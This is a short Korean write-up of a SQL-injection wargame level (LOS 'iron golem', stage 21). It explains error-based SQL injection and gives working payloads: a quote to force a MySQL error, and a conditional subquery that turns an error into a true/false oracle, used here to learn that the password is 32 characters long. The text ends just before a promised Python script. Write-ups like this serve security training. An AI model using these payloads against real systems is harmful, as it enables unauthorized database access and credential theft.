Wargame/LOS
[LOS] iron golem 풀이 (st.21)
bjloed
2020. 5. 30. 23:59
풀이
이번에는 지금까지 봤던 문제들과는 조금 다르다.
다음 코드를 주목하자.
if(mysqli_error($db)) exit(mysqli_error($db));
이번 문제는 Error Based SQLi인 듯하다.
먼저 다음 쿼리를 넣어 에러를 출력해보자.
Query: ?pw=1'
> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
Query를 보내 확실하게 Error Based SQLi인 것을 확인했다.
먼저 에러를 이용해 pw의 길이를 구해보자.
여러분들은 부등호를 이용해 정확한 값을 찾아내자.
Query: ?pw=1' or if(length(pw)=32,(select 1 union select 2),1)%23
> Subquery returns more than 1 row
이렇게 오류가 뜨면 if문이 참이란 뜻이다.
우린 if문을 통해, pw의 길이가 32자인 걸 알아냈다.
이젠, 파이썬을 이용해 정확한 pw값을 알아내자.
코드는 다음과 같다. 역시 대소문자에 유의하자.